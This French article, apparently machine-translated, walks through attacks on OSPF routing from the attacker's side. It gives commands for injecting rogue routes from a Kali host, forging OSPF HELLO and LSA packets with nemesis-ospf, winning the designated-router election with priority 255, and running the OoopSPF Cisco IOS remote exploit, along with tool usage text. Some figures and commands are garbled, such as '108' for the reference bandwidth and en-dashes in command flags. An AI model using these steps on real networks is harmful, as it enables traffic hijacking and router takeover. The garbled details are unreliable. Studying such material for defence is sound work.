Environnements avec le protocole OSPF.
Petukhov Oleg, avocat en droit international et protection des données personnelles, spécialiste de l'information sécurité, protection de l'information et des données personnelles.
Telegram Channel: https://t.me/protecciondelainformacion
Groupe au Télégramme: https://t.me/securiteinformatique2
Site: https://legascom.ru
E-mail: online@legascom.ru
#sécuritéinformations #informationsécurité
Le protocole de routage OSPF (Open Shortest Path First) est le mieux adapté aux réseaux IP groupés dynamiques de grande taille avec plusieurs chemins. En règle générale, le protocole de routage OSPF est utilisé pour le routage sur des réseaux d'entreprise contenant en moyenne 50 réseaux locaux et plusieurs milliers d'hôtes.
Pour une meilleure compréhension, comparez RIP et OSPF.
OSPF est un protocole d'état de liaison (link-state), contrairement à RIP, qui est un protocole de vecteur de distance (distance-vector). Chaque routeur met à jour sa table de routage en fonction des vecteurs de distance qu'il reçoit de ses voisins.
Lorsque vous utilisez le protocole d'état de canal, le routeur n'échange pas d'informations de distance avec ses voisins. Au lieu de cela, chaque routeur vérifie activement l'état de ses canaux menant à chaque routeur voisin et envoie cette information à ses autres voisins, qui peuvent diriger le flux de données vers un système autonome. Chaque routeur reçoit des informations sur l'état du canal et construit déjà une table de routage complète à partir de celle-ci.
Dans le réseau présenté, la route avec deux routeurs rouges sera considérée comme optimale entre Source et Destination. La raison en est les canaux plus rapides sur cette route.
D'un point de vue pratique, la principale différence est que le protocole d'état de canal fonctionne beaucoup plus rapidement que le protocole de vecteur de distance. Il convient de noter que dans le cas d'un protocole d'état de canal, la convergence du réseau est beaucoup plus rapide. Le concept de convergence (converge) du protocole signifie généralement la stabilisation du réseau après toute modification, telle qu'une panne de routeur ou une panne de canal.
OSPF diffère également de RIP (comme beaucoup d'autres protocoles de routage) en ce sens qu'il utilise directement IP. Cela signifie qu'il n'utilise pas UDP ou TCP. OSPF a son propre identifiant, qui est défini dans le champ protocole dans l'en-tête IP.
En conséquence, les attaques sur OSPF sont plus complexes que sur RIP. Les principales difficultés sont les suivantes:
1) le routeur de l'attaquant doit samuler le paquet HELLO afin d'échanger des informations de routage avec d'autres routeurs;
2) dépendance vis-à-vis de la hiérarchie des routeurs impliqués dans l'échange d'informations de routage OSPF. Les routeurs impliqués dans l'échange peuvent avoir un niveau différent dans le schéma de routage hiérarchique.
Compte tenu de ces difficultés, nous passons à l'examen des principales attaques sur OSPF.
Le but de cette attaque est de présenter la route qui traverse la machine de l'attaquant comme ayant la plus grande capacité. L'un des critères pour choisir l'itinéraire optimal dans OSPF est la métrique calculée par la formule
métrique = reference bandwidth / link bandwidth,
où reference bandwidth = 108, link bandwidth est la bande passante du canal.
Par exemple, pour les canaux de 100 Mo, la valeur de la métrique est 1, pour 10 Mo, 10, etc.
Par conséquent, l'attaquant doit définir la valeur de métrique de son itinéraire sur 1 pour le rendre prioritaire.
!
! Zebra configuration saved from vty
! 2005/08/16 01:22:41
!
hostname legitimate.ospfd
password 8 p@ssw0rd>
enable password 8 Cb/yfFsI.abqs
log file /var/log/quagga/ospfd.log
service advanced-vty
service password-encryption
!
!
interface eth0
description DMZ_Network
ip ospf authentication message-digest
ip ospf message-digest-key 1 md5 secret_key
!
interface eth1
!
interface 10
!
interface tun10
!
router ospf
ospf router-id 192.168.20.111
redistribute kernel
redistribute connected
network 192.168.20.0/24 area 0.0.0.0
area 0.0.0.0 authentication message-digest
!
line vty
exec-timeout 30 0
!
Lorsque la connexion à l'échange de routage OSPF a été établie avec succès, vous devez vérifier l'état actuel des informations de routage à l'aide de la commande show ip opsf:
legitimate.ospfd# show ip ospf
OSPF Routing Process, Router ID: 192.168.20.111
Supports only single TOS (TOS0) routes
This implementation conforms to RFC2328
RFC1583Compatibility flag is disabled
OpaqueCapability flag is disabled
SPF schedule delay 1 secs, Hold time between two SPFs 1 secs
Refresh timer 10 secs
This router is an ASBR (injecting external routing information)
Number of external LSA 4. Checksum Sum 0x00025f81
Number of opaque AS LSA 0. Checksum Sum 0x00000000
Number of areas attached to this router: 1
Area ID: 0.0.0.0 (Backbone)
Number of interfaces in this area: Total: 1, Active: 1
Number of fully adjacent neighbors in this area: 2
Area has message digest authentication
SPF algorithm executed 29 times
Number of LSA 9
Number of router LSA 4. Checksum Sum 0x00025166
Number of network LSA 1. Checksum Sum 0xffff90fa
Number of summary LSA 2. Checksum Sum 0x000166c2
Number of ASBR summary LSA 2. Checksum Sum 0x00014713
Number of NSSA LSA 0. Checksum Sum 0x00000000
Number of opaque link LSA 0. Checksum Sum 0x00000000
Number of opaque area LSA 0. Checksum Sum 0x00000000
Ensuite, ajoutez les itinéraires appropriés:
kali / # ip route add 64.100.0.0/14 dev eth0
kali / # ip route add 128.107.0.0/16 dev eth0
Assurez-vous que ces itinéraires ont été ajoutés avec succès à l'échange OSPF:
legitimate.ospfd# sh ip ospf route
============ OSPF external routing table ===========
N E2 64.100.0.0/14 [10/20] tag: 0
via 192.168.66.111, eth0
N E2 128.107.0.0/16 [10/20] tag: 0
via 192.168.66.111, eth0
Comme vous l'avez compris, 192.168.66.111 est la machine de l'attaquant.
Pour mettre en œuvre cette attaque, vous pouvez également utiliser l'utilitaire Nemesis mentionné précédemment, ou plutôt sa modification, conçue spécifiquement pour fonctionner avec OSPF. Voici une liste des options de cet utilitaire:
kali / # ./nemesis-ospf
OSPF Packet Injection -=The NEMESIS Project 1.1
I 1999, 2000 obecian <obecian@celerity.bartoli.org>;
OSPF usage:
./nemesis-ospf [-v] [optlist]
OSPF Packet Types:
-p <OSPF Protocol>
-pH HELLO, -pD DBD, -pL LSR, -pU LSU, -pR LSA (router),
-pN LSA (network), -pM LSA (summary), -pA LSA (AS)
OSPF HELLO options:
-N <Neighbor Router Address>
-i >Dead Router Interval>
-l <OSPF Interval>
OSPF DBD options:
-z <MAX DGRAM Length>
-x <Exchange Type>
OSPF LSU options:
-B <num of LSAs to bcast>
OSPF LSA related options:
-L <router id>
-G <LSA age>
OSPF LSA_RTR options:
-u <LSA_RTR num>
-y <LSA_RTR router type>
-k <LSA_RTR router data>
OSPF LSA_AS_EXT options:
-f <LSA_AS_EXT forward address>
-g <LSA_AS_EXT tag>
OSPF options:
-m <OSPF Metric>
-s <Sequence Number>
-r <Advertising Router Address>
-n >OSPF Netmask>
-O <OSPF Options>
-R <OSPF Router id>
-A <OSPF Area id>
-P <Payload File (Binary or ASCII)>
(-v VERBOSE packet struct to stdout)
IP Options
-S <Source Address>
-D <Destination Address>
-I <IP ID>
-T <IP TTL>
-t <IP/OSPF tos>
-F <IP frag>
-o <IP Options>
Data Link Options:
-d <Ethernet Device>
-H <Source MAC Address>
-M <Destination MAC Address>
Vous devez spécifier la source, le destinataire, le protocole et les options correspondantes. Par exemple, pour envoyer un faux paquet bonjour OSPF Neighbor au routeur, exécutez la commande suivante:
Kali / # ./nemesis-ospf –v –pH –N 128.107.0.1
Une autre mise en œuvre de cette attaque pourrait être la génération de fausses mises à jour OSPF LSA, qui peut également être réalisée à l'aide de nemesis.
Kali / # ./nemesis-ospf –v –pR LSA 128.107.0.1
Devenir un routeur OSPF Designated-ou Backup Designated -.
Les réseaux de taille moyenne et grande utilisant le protocole OSPF utilisent une hiérarchie de routeurs spécifique. Dans les grands réseaux qui utilisent des dizaines, voire des centaines de routeurs, la prise en charge des informations à jour est une entreprise très gourmande en ressources. Une hiérarchie est utilisée pour séparer les tâches de création de tables de routage et réduire la charge sur les périphériques. Le routeur le plus performant est généralement présent au niveau supérieur de cette hiérarchie. Ce routeur est appelé Designated router. Le but de cet appareil est de transmettre efficacement les informations de routage à jour à tous les routeurs participant à l'échange OSPF.
En cas de panne de Designated router, il doit être remplacé par Backup designated router, c'est-à-dire un routeur de sauvegarde de niveau supérieur.
Designated router est sélectionné par vote en fonction de la priorité du routeur et de son adresse IP.
Un attaquant pourrait essayer de devenir ce routeur conçu.
Dans le cas où DR a la priorité 255 et BDR - 254, il est impossible de gagner l'élection. Cependant, de nombreux administrateurs n'utilisent pas les valeurs de priorité maximales en attribuant respectivement DR et BDR 100 et 10 ou 2 et 1. Parfois, DR et BDR sont attribués les adresses IP les plus appropriées.
Ainsi, un attaquant, afin de rendre son routeur designated, il suffit d'établir comment le DR est sélectionné et, sur cette base, de forger la priorité ou l'adresse IP.
Dans Quagga, vous pouvez définir la priorité à l'aide de la commande suivante:
ip ospf priority 255
Dans le cas où DR et BDR ont des valeurs de priorité maximales, vous pouvez essayer de les désactiver à l'aide des différentes attaques réseau décrites dans ce livre, puis essayer de remplacer votre faux routeur.
OSPF MD5 hack.
OSPF utilise l'authentification MD5 pour la protection. En conséquence, par analogie avec le piratage MD5 dans le protocole RIP, cette protection peut également être piratée ici.
Cain & Abel sera nécessaire pour cela. Le processus de piratage lui-même est similaire à celui décrit dans les messages consacrés au piratage RIP, nous ne le décrirons donc pas ici.
Attaque sur OSPF avec l'exploit ooopspf Exploit. Sur les routeurs Cisco exécutant IOS 11.2, 11.3 et 12.0, il peut y avoir un dépassement de mémoire tampon lors de la réception d'un grand nombre de paquets Hello OSPF. Le concept implémentant cette vulnérabilité est présenté sur le site officiel:
arhontus / # perl IOStack.pl -d 192.168.66.202 -p ****** -e ****** -r stackdump
***********************************************************************
IOSSTRING: IOS (tm) C2600 Software (C2600-IK9O3S3-M), Version 12.3(6),
RELEASE SOFTWARE (fc3)
IMAGE: flash:c2600-ik9o3s3-mz.123-6.bin
MEMORY: 61440K/4096K
ARRAY: 82A7E210
PID RECORD STACK RETURNA RETURNV NAME
<skip>
90 830CFF04 831FCD80 831fcd84 80446D50 OSPF Hello
150 82D290A8 831FFCA0 831ffca4 80446D50 OSPF Router
<skip>
arhontus / # ./OoopSPF
Phenoelit OoopSPF
Cisco IOS OSPF remote exploit (11.2.-12.0)
(C) 2002/2003 FX of Phenoelit <fx@phenoelit.de>;
Usage:
./OoopSPF -s <src net> -n <src mask> -d <target rtr ip> -f <file> -t <targ#>
Options:
-s <src net> Use this network as source (as in target config)
-n <src mask> Use this netmask as source (as in target config)
-d <target> This is the target router interface IP
-f <file> Use this as the new config for the router
-t # Use this target value set (see below)
-a <area> Use this OSPF area
-v Be verbose (-vv or -vvv recommended)
-D Directed attack (unicast) for 11.x targets
-T Test only – don't send
--- barely used options ---
-L # Number of neighbors to announce (overflow size)
-F # Start of data (seen reverse to overflow)
-S # NOP sleet
Dans le prochain article, nous aborderons les questions de sécurité du protocole de routage OSPF.




